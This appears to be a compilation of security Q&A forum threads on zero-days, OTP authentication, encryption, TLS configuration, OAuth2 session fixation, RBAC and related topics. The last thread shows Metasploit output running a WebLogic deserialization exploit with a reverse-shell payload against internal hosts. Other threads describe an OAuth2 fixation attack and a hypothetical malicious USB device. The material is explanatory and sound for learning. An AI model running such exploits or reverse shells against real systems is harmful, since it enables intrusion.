What is a Zero Day attack? Can anyone explain to me what is a zero day attack with a very simple example? Also, how can it be prevented?

The term Zero Day or Zero Hour can apply to any type of attack. It's really just a classification given to the time period at which a vulnerability has just been discovered by a person or organization but has not yet been disclosed publically.

Some definitions also include the first day or "Day Zero" of a vulnerabilities announcement and the race between attackers and defenders to attack or defend their systems when this type of announcement is made.

Zero Day attacks are particularly dangerous because for the short time period they haven't been disclosed the attackers can effectively compromise some level of system access across almost all systems which are vulnerable. In some cases, this can give an attacker access to millions of devices or access to lots of sensitive data.

Once it has been disclosed publically or there is a known remediation it is no longer considered to be a Zero Day. Note: Some definitions vary here.

So there is no "solution" to preventing Zero-day attacks as new vulnerabilities and exploits will always be discovered before the remediations to prevent such problems from being exploited can be created.

Effectively the holes will always exist before their respective patches.

This said there are additional defenses which can be implemented to reduce the risk from certain types of Zero-Day attacks or limit their damage but it is not possible to anticipate all attack vectors.

This is really why you want to have multiple security tools because at any given time one layer of defense (one of your security tools can fail or be vulnerable).

In other words, if you think of security as a function of time at some point a vulnerability will exist even on the most well-secured networks.

If you only have one level of defense protecting your data your security will look like the following:

Time: ----->

Layer 1 Security: --------------------    ----------------
                 Zero Day occurs here ^   ^ vulnerability fixed here.

If you have multiple layers of defenses (or defense in depth) in theory as different vulnerabilities come out in time your defenses will look more like the following:

Layer 1 Security: --------------------    ----------------
Layer 2 Security: --------------    ----------------------
Layer 3 Security: ---   ---------------------    ---------

Even though each layer of security gets vulnerabilities from time to time they don't all align for an attacker to get through all three layers. In rare cases, this can happen but statistically multiple layers can provide much better security than one layer by itself.

One of the best defenses against Zero-Days is a very disciplined staff keeping multiple layers of security up-to-date. Discipline is key here, the layers just buy you more time.


Posting links to executable files and security If someone is able to post on the forum of my website links to executable files (malware) hosted on remote websites: can we say that my website suffers from a security hole ?

If you are simply talking about someone posting a link on your forum maliciously (in other words intended to actually hurt the end-user not for sharing between security professionals) I would not necessarily consider it a security hole.  I would, however, inform your visitors that they are leaving your site and you have no way of knowing if the site is safe.  This is probably the route I would take.

You could also try and a script that would scan the link and make sure it is not an executable using CURL.  If I went this route I would probably white-list Content-Types to: html and image types and still display a warning as it is not fool-proof.

Fleche gave a good answer, and I advise you read it too.   I would also like to point out that most websites that allow links to other websites do it without any kind of warning.  So, you should be okay to do the same.  The only places I've seen diferenet are places like oDesk.


Is using HOTP only authorization considered weak? Migrated from ServerFault, as advised there.

I have seen many experts advising usage of some kind of OTP as second step of 2FA schemes.

I fully understand 2FA is more secure than Single Authorization, but it is also more inconvenient for casual user.

What about replacing passwords with HOTP (HMAC-based One-time Password algorithm)?

We currently have schemes with strong passwords (not really so strong, current policy is: 8+ chars, mixed case, at least one numeric and at least one special) changed on regular basis and many users are already complaining.

I am wondering if replacing passwords with HOTP (possibly google-authenticator, supported by google-authenticator-libpam) would result in lower security than our present scheme.

Rationale is long random (generated) passwords will force users to write them down in some "handy" place, usually somewhere an attacker will find easily.
Using [H]OTP would render this useless, while still being convenient as everybody has a smartphone on the desk, today.

Questions are:

Am I forgetting something important?
Is google-authenticator (or other OTP scheme) fundamentally flawed somehow?
If viable, what are pitfalls (if any)?

Note 1: I know multiple questions are usually badly received, but this really boils down to: Can I use this with reasonable security?

Note 2: We are not concerned with absolute security (as if such a beast would exist in the real world), but we wouldn't want to lower security level we have now either.

Am I forgetting something important?

Yes. The HOTP scheme is not ment to be used as a single factor.
You need to ask yourself, if the "possession" of a smartphone can be seen as a strong possession factor.
When evaluating 2FA or - in your case - 1FA you should take a look at the possible attacks.
One way @Ry already pointed out, being simply the odds/percentages.

  Is google-authenticator (or other OTP scheme) fundamentally flawed somehow?

The google authenticator is not an OTP scheme per se. It is an implementation of HOTP and TOTP. Google combined a scheme that was defined in 2006 (RFC4226) with a QR Code (invented in 1994) and put it in smartphones, that have been there later. You should get the impression that OATH HOTP and TOTP was never ment to be used with smartphones.

The Google Authenticator has one major flaw (besides storing a symmetric key in an insecure device like a smartphone) being the enrollment process of a plain text secret key in the QR Code. I wrote a blog post about it a while ago.

  If viable, what are pitfalls (if any)?

When doing 2FA (or 1FA with an OTP device) you need to carefully design your processes - enrollment, revocation, token replacement...
You have done this with passwords. You defined the length and the contents of the passwords and the period when passwords need to be changed. You probably have  a process to reset a forgotton password.
You need all such processes, too, when doing 2FA or OTP authentication.
The risk (or pitfall) is that you easily think - "oh I am doing OTP or 2FA, now - everything is good and better."

It is not, if you are not aware of your processes.


Is a long, random string in a URL considered adequate protection from unauthorised access? I have recently had to submit a number of confidential PDF documents to a website. These documents contain more than enough information to use in identity theft, and I can conceive how others using the same site would upload even more information.

When viewing these documents back through the website, I noticed that the method of protecting the content from unauthorised access is to use a long, apparently random string:

https://eu-apps.groupdocs.com/document-viewer/Embed/52e0810668cb44883d39448d57f11dc26ab3a9322ee6ce6217349ba10cef914a

I also note that this content is susceptible to sslstrip type attacks i.e. http can be used instead of https if forced using a MITM.

The lack of genuine access control to the document concerns me. Browser history, link sharing, sniffing if http is used; these all leak the document and how to access it.

There is already a question and response along these lines "Are random URLs a safe way to protect profile photos?", however, in this instance:

The asset is information that could lead to identity theft, rather than a profile picture.
A profile picture should be accessible by many others in most cases (at least anyone else signed into the same website, at most everyone). The documents in this case should at most be visible to three parties and be private from everyone else.
There is an attempt to conceal the URL using https which can easily be subverted.
The specific application is for independent adjudication is tenancy deposit disputes. The only parties who should see the documents are the tenant, landlord and adjudicator.

Is this considered adequate security?

I would say: A long random url is essentially a password.
So its still a adequate access Control.

Compare for example going to http://www.example.org/login.php and typing username=admin password=somelongrandompassword, or simply going to http://www.example.org/login.php?login=admin-somelongrandompassword

Yes, there is some attack methods that did not initially exist if a normal login would have been used, for example poking in browser history, link sharing and so on.

But you as a end user must be cautionous too, and understand to not:

use the website from a publicity accessible computer. (or ensure its a computer designed to "reset" each session so any sensitive information in cache, history and cookies are cleared)
not share the link with unauthorized persons.
Watch out if the SSL indicator is not present.

And of course, the administrators who requested you to submit the documents (which uses the documents in one way or Another) must perform the same care, but I Think the administrators are well aware that the links contain the authentication information for accessing the documents.


How secure is encrypting & decrypting strings with OpenSSL? I am wondering how secure it is to encrypt and decrypt strings using OpenSSL using Salts and an Initialisation Vector. If the salt and initialisation vector are both going to be stored in a database along with the encrypted string, can't a possible attacker just take the encrypted string, salt and IV and decrypt the string? If this is possible how would it be made more secure so this isn't possible? The primary use case for this is to be able to encrypt & decrypt user data to display to the user.

I think you are mixing several things together here:

OpenSSL is a library which has implementations for a variety of cryptographic algorithms, both for strong and for weak algorithms. Thus, the security first depends on which algorithm you use.
You are trying to use symmetric encryption where the same key is needed for encryption and decryption. Of course, this key must be protected against an adversary. But how this is done is not part of the encryption algorithm and not part of OpenSSL either.
For encryption you need a key, not a salt. Salt instead is used in the context of password hashing.  Also the IV is not needed to decrypt the encrypted text so no need to store it explicitly.

Of course storing the decryption key together with the encrypted data makes no sense because if an attacker gets access to both it can simply decrypt the data.
But, how this secret key should be protected fully depends on your unknown use case, on the value of the data and on the assumed capabilities of the adversary.


Disabling windows firewall remotely i use metasploit for pentesting windows 2003 sp2 server but when windows firewall is on i am not able to perform pentest successfully is there any way to disable firewall remotly?

If you have to disable the firewall in order to run a particular exploit then that test demonstrates the firewall is working effectively as a mitigating control. Which is generally the aim of a 'pen test'

Once you disable the firewall, many exploits are likely to work (I'm thinking zero days as well as all services with unpatched vulnerabilities) so it doesn't really add value.

Metasploit is a useful tool for automating simple or tedious exploits, but if you are at the point of needing to disable the firewall in order to run it, you are probably barking up the wrong tree.


How to check if USB device isn't malicious? Let's say I've got a generic, cheap mouse.

It's a USB-device. Any USB-device may contain memory, so how to know if the manufacturer didn't embed any memory with malware software in a device?
(on Linux preferably)

Watching your system and kernel log seem appropriate.

On linux:

tail -f /var/log/kern.log /var/log/syslog

before inserting device, then look output when inserting USB device... Care to stay watching for some minutes after plug.

When USB device is plugged, logs show what kind of device is recognized. Required drivers will be loaded, if needed.

If usb storage is recognized as a network devices, holding a full network, with upnp servers, who send automatically media. This could be something harmful.
If device trig your system to load many different drivers, when they are only simple storage device, this look abnormal.
If device trig your system to load only one driver, corresponding to device purpose, this look fine (Nota: A cheap mouse won't require specific driver!! If yes, this could look suspicious).

You even could use lsusb before and after plug USB device, then look for differences. (Do this in a second console, while watching your logs as previously recommended)

On linux:

lsusb >lsusb-before.txt

Plug device

lsusb  | diff lsusb-before.txt -

About your cheap mouse: If you see two devices: one mouse and one data storage, containing mouse driver, this could be ok, but if the mouse won't work on your system and you decide to install embed driver, you will do this at your own risk!!

But care!

Some bad device, like USB Killer v3, could burn your hardware at time they are plugged!!!

  When plugged into a device, the USB Killer rapidly charges its capacitors from the USB power lines. When the device is charged, -200VDC is discharged over the data lines of the host device. This charge/discharge cycle is repeated many times per second, until the USB Killer is removed.

Addendum: Little reflexion about Failure to detect malicious functions does not prove their absence. and comment from
user10216038:

Yes: I could imaging such malicious device:

When plugged, the cheap mouse is registered as a standard mouse device, but
They embed a strong malicious process, waiting for february 29th at 03:00 AM for

Generate a pseudo keyboard, hitting something like Ctrl+Alt+F2, then root and brute force password, for finally encrypt whole /home (even run at 3AM, brute force may take a lot of time with 3 try every 5 minutes... This may become visible) or
Generate a strong virtual network with media server who trig upnp service to send malicious drivers for pseudo media files...

  Some murderer take seconds, other take minutes, some murderer take hours, now this murderer take years!

But

All this seem very hard and expensive to create, require strongly experienced programmer (team)!
You have to use weak password (better if malicious device already know your password) or you have to enable upnp and accept automatic installation of drivers and networks.
But if you keep regular backups, saving syslogs too, and use read-only devices on critical hosts, with remote syslog,

at time the malicious process begin, they will be logged anyway and I think they will have poor chance to harm correctly protected system.

So yes this could be an issue, but very expensive for targeting home desktop without regular protections, with a very small chance to success.

Again and again

Keep your backups up to date, on many different devices! (Make tests and verification against your backups)
Don't use weak password!!!
Disable automatic services like upnp on sensible hosts!


Why are Macs more secure? People often say that Macs are more secure than say Windows. Which is why many Mac users don't have antiviruses. But why is this? Is it because of the need for a password for sudo commands, like changing system files?

But then couldn't the hacker just steal the password also in his virus - how hard could that be? Why is Mac more secure than Windows?

There are fewer attacks and malware on Mac OS X systems for a variety of reasons, almost none of which having any relation with the notion of "software quality":

There are fewer OS X systems than Windows systems (right now, about 7.5%  of computers involved in Internet browsing use OS X, according to StatCounter), making OS X a less interesting target for malware authors. Developing malware costs efforts and time, so the malware authors want to get a good return over investment. So they hunt where there are the most preys, i.e. on Windows, not OS X.
Malware usually enters a machine through explicit user action, i.e. installation of some software package that turned out to be dodgy. OS X users tend to install less third-party packages, mostly because OS X comes out-of-the-box with more accessories.
In a similar vein, when it comes to supporting hardware, OS X has its own drivers, so the normal Mac user plugs his new device: either it works right away, or it will never work. There is usually little point, in the OS X world, to try to download and install third-party drivers. On the other hand, for Windows, driver download is the norm. This does not mean that third-party drivers are often infected, but it implies that Windows users are accustomed to downloading executables and running them with full administrator rights.
Still on the same subject, Windows has long suffered from something known as DLL Hell, coming from the traditional method of identifying DLL only by a short file name, with no versioning support. This has trained many Windows users to "solve issues" by looking for the faulty DLL name on Google and then downloading it from the first link that arises. OS X, on the other hand, is on the habit of embedding needed libraries in the application, which avoids the issue (at the expense of disk space, since it makes applications larger -- that's rarely a problem with today's disks).
The main characteristic of Windows is its backward compatibility: that which was once running in any version of Windows, will keep running. This has made the system API very complex through decades of accumulation; and this complexity helps malware authors in the hide-and-seek game that they play with antivirus authors. Backward compatibility is much less maintained in the Mac OS world (Apple even switched complete architectures several times, switching from Motorola 680x0 CPU to PowerPC, and then to Intel x86; and support of 32-bit x86 application code can be predicted to be removed at some point).

It must still be said that what makes a machine secure is not really its software, but its system administration, i.e. what the user makes with the machine. Most of the points above are about how OS X users do not behave the same way as Windows users, for a lot of reasons, some of them being historical.


Is an IP address blacklist good practice to prevent website attacks? My website has a blacklist of IP addresses. The web application, in some way, detects all invalid, suspicious influences to it and remembers IP address and denies any requests from that IP address.

So my question is: Is it a good practice, way to prevent attacks in this way?

SUMMARY (ADDED):

I want to summarize all answers, as possible:

white-list (trusted locations)
grey-list (high attention list)
temporary blocking
static, dynamic address detection
smart, flexible detection

I would say not to bother blacklisting IP's too much:

There are too many False Positives, since there are many situations of shared IP's - proxies, workplace, ISP's using roving DHCP, etc.
It is too easy to get around it. A real bad guy will just get a different IP, if she really wants to attack you.

I would suggest a "gray-list" of IP addresses, i.e. if you recognize bad traffic you "keep an eye" on those addresses.


Can we write both encrypted text and plain text to the same file? We have a requirement from customer to write payment transaction information to a text file. Of many lines of data per transaction, only one line contains cardholder information, which needs encryption to be PCI-Compliant.

My thought is to encrypt only the sensitive line and write to the text file while writing the rest unencrypted -- I believe this avoids encryption and decryption overhead when dealt with a large number of transactions at a go.

(FYI, we have customized encryption and decryption tools where we are trying to encrypt the line using AES-256 using a random key first  and then encrypt this random key using RSA - 15360 public key). So the encrypted line will contain some header info, RSA encrypted AES Key and the AES encrypted cardholder line)

So is this a decent practice -- mixing plain text and cipher text? (OR) will this pose any PCI compliance issues or result in any vulnerabilities?

Yes, you can mix encrypted and unencrypted data in the same file.  The real question is whether you really want to, or whether it's easier to just encrypt the whole file.

In particular, regarding performance concerns, the general rule of thumb is that public-key encryption schemes like RSA are slow (especially with such a large modulus as you're using), while symmetric ciphers like AES are blazingly fast, especially on modern CPUs that have hardware support for them.  Since you're using a hybrid cryptosystem where you encrypt the data with AES and then encrypt the AES key with RSA, the total time needed to encrypt or decrypt a transaction is almost certainly dominated by the slow RSA part of the system, which does not depend on the amount of encrypted data.

So, in practice, there is almost certainly no noticeable performance gain from encrypting only part of the data, and so you might as well encrypt all of it.  The main exception being, of course, if your transactions include some (meta)data that you need to store unencrypted.  (Even if so, you should still include those unencrypted fields when signing the transactions, so that they cannot be tampered with.  Assuming that you are signing the transactions, that is.  If you're not, consider whether you should.)

OK, so let's assume that you do want to store encrypted and unencrypted data in the same text file.  How should you do it?

The output of pretty much all modern encryption schemes is a stream of random-looking binary data.  You can't directly include that in a plain text file (or, if you do, it will no longer be plain text), but you can e.g. base64 encode it into (mostly) alphanumeric ASCII text.

Depending on the mode of operation that you're using AES with, each piece of AES-encrypted data will typically be a few bytes longer than the unencrypted input.  (You don't say what mode of operation you're using; generally I'd recommend a misuse-resistant authenticated encryption mode like AES-SIV or AES-GCM-SIV, although that's not strictly necessary if you're signing the full transactions anyway.)  The base64 encoding will further elongate the ciphertext by a factor of 4/3 ≈ 1.33, but even so, it will still be of comparable length to the unencrypted input.  So it's perfectly reasonable to, say, replace a string in a text file with the AES-encrypted and base64-encoded version of the same data.

On the other hand, while AES keys are only 16 to 32 bytes long, encrypting them with RSA will produce a ciphertext of the same size as the RSA modulus.  With a 15360 bit modulus, that works out to 2.5 kilobytes of base64-encoded ciphertext for each transaction.  You can probably just append that blob to the end of each transaction, but it's worth noting that its size (base64-encoded or not) will probably dominate your storage requirements.

If you want to reduce that storage overhead, you need to either use a smaller RSA modulus (but not too small, or it won't be secure) or switch to some other public-key encryption scheme such as ECIES with less overhead than RSA.

(Or, if you want to keep it simple and safe, consider just ditching your custom RSA+AES based scheme and replacing it with e.g. NaCl crypto_box or any of its various compatible implementations.  That way, as long as you fulfill the crypto_box contract of choosing a random secret key and never using the same nonce for two transactions, you won't need to worry about any other details.  Well, except for base64-encoding the ciphertext, if you want to do that.)


Do we use different CAPTCHAs with different difficulty to how sensitive the request is? My idea is to use a sort of layered CAPTCHA model (4 layers - from which layer 0 is no captcha) with difficulty as primary focus.

My first focus beside stopping bots is to make the visitor more and more aware of what he's doing.

It will give the visitor more think work than "type-in" or "watch-and-type-in" work and this verifies the visitors knows what he's doing(eg. limitating unnecessary requests).

After many years of working in the information security industry, I have yet to come across such an implementation. This doesn't mean it can't be suitable for certain use cases, but it definitely isn't an established design pattern.

I have seen a decrease in the usage of CAPTCHAs during the last years, because UX experts hate them. CAPTCHAs are mostly used as last resort (e.g. after 10 failed login attempts) or implementations that aim at less UX impact (e.g. reCAPTCHA V2) are used.

But there is another mechanism known in the security world, that might fit your need. It is called step-up authentication. This pattern basically forces a user to re-authenticate with the same or a stronger form of authentication, before he can perform a high-risk task. This achieves what you are looking for: It verifies that the visitor knows what he's doing.

A good examples for this approach is deleting a repository at GitHub. Before you can do this, you must re-enter your password and type out the name of the repository, which you selected for deletion. That way the user is forced to stop and think again, before making a crucial mistake by deleting the wrong repository.

Another example are critical operations which require MFA before they allow execution. You may be able to log into your online banking account with username and password to check your balance, but if you want to perform a transaction, you must enter an additional PIN sent via SMS as a second factor.

You have to evaluate, if a ramp-up authentication would solve your problem in a more elegant way are you really do require CAPTCHAs. Please take into account, that CAPTCHAs are usually not considered user friendly and may have an impact on your customer satisfaction.


The workings of a stateful firewall Say I have network A and network B.
I wish to SSH from network A to network B. Hence, I would set a route from network A to B, and in the stateful firewall, I will allow a rule for Network A to B at port 22.
In this case, do I still need to create a rule to allow Network B to Network A on all ports, since there is TCP handshake? I believe we do not have to, since it's "stateful"? But how does it work?

Connections are 2-way. Opening a port in a firewall allows a connection to be opened.  Once opened it is 2-way.


Why Oracle says following deserialization vulnerabilities are related to HTTP protocol? According to Oracle website, following deserialization vulnerabilities are related to HTTP protocol.

CVE-2015-7501,  CVE-2016-5535, CVE-2016-3586, CVE-2016-3510, etc.

But I do not understand why Weblogic says it is related to HTTP protocol.

Unless the server application expect a serialized java object as input through HTTP protocol, is there any other possible way to exploit these vulnerabilities?

You have to be able to trigger deserialization to exploit this. It is just saying that the protocol used when it is exploited is http. However, keep in mind that there are often default listeners that can be exploited. For example, JBoss allows for using adaptors for accessing MBean services over any supported protocols. For HTTP, the JBoss AS provides the HttpAdaptor. In a default installation, the HttpAdaptor is not activated. However, the HttpAdaptor's JMX Invoker is running and publicly available at the URL http://localhost:8080/invoker/JMXInvokerServlet.


Security of host computer and network with Tor I'm considering running a Tor (non-exit) relay on my personal Ubuntu 14.04 computer at home (which also has my personal data on it).

I wanted to know if I should have any concerns about the security of my computer, data and home network?

Could the security of my machine and my home network be compromised by using a vanilla Tor relay configuration? Or are the extra security steps suggested here needed?

A TOR networked computer has a giant target painted on it. Bad guys love screwing with TOR. Government entities love screwing with TOR.

Do not use your personal computer. Keep the TOR relay far, far away from your personal data.
Those security tips are incredibly helpful. I'd implement all that I could, but if I had to pick out the ones that are utterly crucial:

Encrypting the box
Running a secured operating system
Keeping on top of updates
Locking down services running
Minimizing Data Retention

Be paranoid. You're carrying incredibly sensitive traffic, and TOR is the Holy Grail of pwnage right now. Don't endanger the network, and don't take this lightly. If someone compromises your relay, you can get a ton of people in a boatload of trouble.


Separation of Duties using RBAC I'm reading an article about Role based Access Control, in section 6 (Separation of Duties) I didn't understand this part :

  Separation of duty can be either static or dynamic. Compliance with static separation
  requirements can be determined simply by the assignment of individuals to roles and
  allocation of transactions to roles. The more difficult case is dynamic separation of duty
  where compliance with requirements can only be determined during system operation.

Can someone clarify it !

Quoting this SANS article:

Static Separation of Duties defines role memberships that are mutually exclusive. For example, RBAC can ensure that users cannot be members of both the purchasing role and the approving role. That is how SSD ensures that the same person cannot purchase and approve the purchase.
Dynamic Separation of Duties allows the same person to be in the purchasing role and the approving role, but they would be prohibited from approving their own purchase. They would only be able to approve the purchases of others.
Another example would be restricting the person who made firewall configuration changes from auditing and approving those same changes. In the SSD model, a user may not be members of both roles. In the DSD model, a user could be a member of both roles, but could not function in both capacities for the same linked transactions.


Legal: ISP Compromised DNS Background:

A rural wireless ISP configures all their customers equipment to point to their own nameservers. For the past 2 months or so their primary name server has intermittently been serving malicious responses for common domains(that i have tested) - like google.

Upon inspection, they appear to be running windows 2K for dns services. The server also appears to be open to answer external queries. I have notified their systems admin initially 2 months ago when first detecting this behavior.

Questions:

Since this issue has sneakily persisted for the past 2 months and there has been no public acknowledgment or corrective action taken, at what point does an ISP become liable?

Is there not any kind of expectations for ISPs in these kind of situations?

In my eyes running ancient software and allowing an issue that could potentially be devastating to the user's of their DNS services, is at best Bad Manners...

Lastly, how should I move forward from here? Do I expose my findings to their customers? Do I draft an official report of my findings and deliver in person? Do nothing because this is common place? Or..?

Set up your own DNS recursive resolver with DNSSEC and set an outgoing firewall policy blocking DNS requests to anything else. ISPs tend to abuse DNS, you don't want to use their servers, even if they are configured correctly.


Apache TLS with only ECDHE-RSA-AES128-GCM-SHA256 enabled Is there anything against this TLS-configuration in Apache:

SSLProtocol TLSv1.2
SSLCipherSuite ECDHE-RSA-AES128-GCM-SHA256

There are lots of examples that use a more complicated setup, but I believe this configuration is both secure and easy to understand.

We expect our users to have a fairly recent browser or device, so we don't have to (or even want to) support Android 4.3 or IE 7.

There are no known vulnerabilities in TLS 1.2 or that cipher suite. If it works for you from a compatibility and performance standpoint, it's fine to use.


Verifying physical address via a verification service provider. Are there any threats? The idea is to send address information to a service provider to see if the address actuall exist or will kick back not valid.  If done over an unencrypted connection across the internet, are there any privacy concerns over just address information?

EDIT

This is in regard to physical addresses like:

1234 Washington St
New York, NY 99999

Without knowing what your service does, it could very much be a breach of privacy.

Suppose you are building this to verify parts of an identity in the healthcare industry.  Suppose it's for a very specific purpose -- e.g. verifying addresses of patients in certain conditions or under-going certain procedures (HIV/AIDS patients, abortions, etc). If someone were to intercept that information they could conceivably find those people and harrass them.

Or maybe your service sells something, and your competitors can intercept address information. They could start advertising to the addresses, which is an indirect violation of privacy (the person at the address didn't necessarily allow anyone else to get their address from you).

I would consider this a breach of privacy.


Client certificate vs HMAC My team is working on web API project for one customer which will call this API. Now we are thinking about authentication. We've stopped on two options HMAC and client certificates

HMAC:

pros - no expiration (just pair of client id and secret key),
cons - complex logic for client to implement HMAC token.

Client certificate:

pros - simple for client (just attach client certificate to httprequest),
cons - expiration, need to support of renewal of certificates.

Please help me with pros and cons here.

Overall, I would recommend HMAC unless you have particular requirements for client certificates. The reasons are:

Expiry

While it is true that there is no mandatory expiry with HMAC, in reality, you should expire any kind of password/secret/encryption key on a regular basis. This is enforced by certificates but you should do it as a matter of policy for any such key. I don't think this is a genuine pro for HMAC.

Intermediaries

If you have some intermediary like a Web Application Firewall that needs to inspect requests, it can be complex to use client certificates. This is a con for client certificates and a pro for HMAC.

Complexity

Is it really so complex to create an HMAC? There are client libraries to do this for Ruby, Java, .Net, Node and Python. I stopped googling there, but I'm sure most modern platforms have an existing library. This is probably a pro for certificates as you said, but a relatively minor one in my opinion.

Familiarity

HMAC is in use in some popular APIs from different market sectors (e.g. Twitter, AWS, Xero). I think client certificates are relatively uncommon outside of an enterprise setting. This is a pro for HMAC and a con for client certs. Disclaimer: This is subjective. I have no hard evidence for this - it's just based on what I've experienced in practice.


Best practices for design of mutual-auth TLS certificate chains? I am looking for best-practice advice for building a mutually-authenticated system using certificates. I would like to create a system with multiple IoT devices reporting data to a web server, in which both the server and client need to authenticate each other. I was thinking of using a root certificate authority (a personal one) and an intermediate certificate authority for the server certificate and another one for the client certificates.

Root CA signs intermediate CAs (x2), one signs server certs, one signs client certs.

In the future Root CA may sign another intermdetiate CAs.

Does this makes sense? Or is it better to implement separate root CAs for the server and the clients?

Since I am going to use self signed certs, in order one side to verify the other, do I have to provide root cert to all? or intermediate cert? What happens if one of the devices get compromised? (Revoking?)

Sorry for multiple questions but the follow up questions are related to the main question. How should the cert chain be designed? Which approaches are more secure?

I don't know that there is a single set of "best practices" for doing client-auth since it depends a lot on the details of your environment. You can probably find best practices for setting up a CA for VPN client auth, if that's close enough.

I can give you a list of questions that you should think about in the context of your application. In solving these problems, the question about CA hierarchy may get solved for you.

Is there anything differentiating a client from a server? It would be bad if a someone could set up a fake server using a client cert and get other clients to connect to it. There are any number of ways you could solve this: you could use different root CAs for clients and servers, though it may be simpler to put a "I am a client" and "I am a server" Extended Key Usage into the certificate. Note that the more clever methods will require you to write custom certificate validation code on the client and / or server components.
How does revocation work? If a client/server needs to revoke their certificate, who do they contact? How will the servers/clients know it has been revoked? How quickly will the servers/clients know it has been revoked?
How are you updating client certificates when they expire? (don't pull a Tesla, full twitter thread here)
How are you securing the private keys of the CAs? Are they being stored on some sort of hardware token? What happens if the machines hosting the CAs go down? (either temporarily, blocking revocation information from being published, or permanently, losing the CA private keys)

Basically, I think how you set up the CA hierarchy ends up being a side-effect of how you address the other security considerations ;)


Am I understanding correctly how to stop a certain OAuth2 session fixation attack? Please find here described an OAuth2 session fixation attack. Is the attack possible? And am I understanding correctly how it can be stopped?

The attack

Mallory starts logging in at client.example.com via a certain OpenAuth2 provider, but just after the provider has sent the authorization response (https://tools.ietf.org/html/rfc6749#section-4.1.2) Mallory closes the browser and thus stops the OAuth2 login flow. However before closing the browser he remembers the Location value in the status 302 Found response from the provider:

HTTP/1.1 302 Found
Location: https://client.example.com/oauth-callback?code=12345&state=xyzw

Now Mallory configures an evil web server to reply status 302 Found with the above Location header. He sends an email to Alice and says: "Hi look at this cool page at Client.Example.Com" with a link to his evil web server. Alice follows the link and is redirected to client.example.com with Mallory's OAuth2 code (i.e. 12345). client.example.com continues the authentication flow: it sends the OAuth2 code to the OAuth2 provider and gets back an access token.

The result is that Alice is logged in to an account that Mallory controls. Alice doesn't realize this though, and she makes a purchase via Client.Example.Com. Client.Example.Com remembers her credit card number, which Mallory gets access to later by logging in to the account and checking the account history.

Preventing the attack

OAuth2 doesn't allow reusing the same authorization code (12345) more than once (see the RFC linked above), but since Mallory closed the browser in the middle of the login flow, the auth code isn't used more than once.

In section 10.12 in the RFC it's mentioned that CSRF attacks can be stopped via the OAuth2 state param (xyzw in this example). However, Mallory copies the state param too, so it's likely to be a valid state, if the state is e.g. just a randomly generated nounce. And when Alice follows Mallory's evil link, client.example.com hasn't seen anyone use that particular state before, so client.exampel.com is likely to accept it.

The RFC says that the state should be "e.g. a hash of the session cookie used to authenticate the user-agent". Is that the key to how to prevent this type of attack? Alice would have a session cookie at client.example.com, and the state would be required to be hashWithSha1(the-session-cookie-value)? Mallory's state=xyzw would then be incompatible with Alice's session cookie, hence client.example.com would realize that something was amiss with the redirection from Mallory's evil server?

(Exactly what would you suggest as state? Would simply hashWithSha1(the-session-cookie-value) be safe?)

Reading http://tools.ietf.org/html/rfc6749#section-4.1.1, this is what I interpret:

The client (in this case, the server with an account that Mallory is fixating) directs the user-agent to an OAuth request. state has been determined by the client, and is passed with the request, and will be passed back when the user-agent is sent to redirect_uri with an authorization decision. What the recommendation you quote is assuming is that each user-agent has a session tied to it, and that the state can either be calculated from that session identifier (hashWithSha1(the-session-cookie-value)), or is stored in a way that is keyed to that session identifier (for example, a session[:oauth_request_state] value on a Ruby On Rails server, that might be set to some nonce). Mallory, with her own session, will cause a different state value to be passed than Alice's interaction with the client will expect, and this will cause the auth to fail.

Please insert here all the usual caveats about believing people on the internet, and may anyone swiftly correct me if I am wrong.


Linux random number compliance Not sure if this is the right forum, and I am pretty sure that his must have been answered before (I searched a lot but I haven't found a definitive answer).

Do the Linux random number generators (/dev/random and /dev/urandom) comply to any industry standards? More specifically, if my application uses /dev/random, can I achieve compliance with regulations that require the employed random number generator fulfill some standard?

For example, if my application uses /dev/random, can I claim that the random numbers are NIST SP 800-90A DRGB compliant?

Apologies if this is off-topic or obvious, but as I said, I could not find a definitive answer anywhere.

(I was directed here from https://crypto.stackexchange.com/)

dev/random is not even remotely the same as NIST SP 800-90A DRGB. If you want to claim compliance to NIST SP 800-90A DRGB then hire a test lab to test your DRBG and submit the results to NIST's Cryptographic Algorithm Validation Program (http://csrc.nist.gov/groups/STM/cavp/index.html) and then it will end up on this list: http://csrc.nist.gov/groups/STM/cavp/documents/drbg/drbgval.html


Metasploit Starts attacking multiple targets, results in "address is already in use" I am attempting to pentest multiple Weblogic servers, however, when I

"run" or "exploit" or even "exploit -J",

metasploit begins to attack multiple targets at once, which results in "address is already in use"

EDIT: THE HANDLER STARTS WHEN THE ATTACK STARTS, AND THE HANDLER DOES NOT END BEFORE THE NEXT ATTACK STARTS, THEREFORE, THE ADDRESS IS ALREADY IN USE... HOW DO I GET THIS EXPLOIT TO ATTACK ONE TARGET AT A TIME?

msf5 exploit(multi/misc/weblogic_deserialize_unicastref) > run
[*] Exploiting target 192.168.27.24
[*] Exploiting target 192.168.27.25
[*] Started reverse TCP handler on 192.168.27.10:4444
[*] Exploiting target 192.168.27.26
[-] Handler failed to bind to 192.168.27.10:4444:-  -
[-] Handler failed to bind to 0.0.0.0:4444:-  -
[-] 192.168.27.26:7001 - Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).

Here are my options

msf5 exploit(multi/misc/weblogic_deserialize_unicastref) > show options

Module options (exploit/multi/misc/weblogic_deserialize_unicastref):

Name     Current Setting                                Required  Description
----     ---------------                                --------  -----------
RHOSTS   file:/tmp/msf-db-rhosts-20190415-21066-ez3gp8  yes       The target address range or CIDR identifier
RPORT    7001                                           yes       The target port (TCP)
SRVHOST  0.0.0.0                                        yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT  8080                                           yes       The local port to listen on.
SSL      false                                          no        Negotiate SSL for incoming connections
SSLCert                                                 no        Path to a custom SSL certificate (default is randomly generated)

Payload options (cmd/unix/reverse_python):

Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LHOST  192.168.27.10    yes       The listen address (an interface may be specified)
LPORT  4444             yes       The listen port
SHELL  /bin/bash        yes       The system shell to use.

Exploit target:

Id  Name
--  ----
0   Unix

any ideas what I might be doing wrong?

This error has nothing to do with attacking multiple targets. The error is due to the fact that the handler which is used to receive and interact with the incoming sessions are unable to bind to the port 4444. This means either another job (handler within MSF) or another process is running on the port. Run netstat -anpl | grep :4444 on the Linux prompt to determine which process is currently listening on the port. If can run the jobs command on the msf console as well to see if any prior jobs are still running. Run jobs -K to kill any running jobs and then run the exploit command again. You can change the LPORT of the payload as well to make the handler listen on another port.


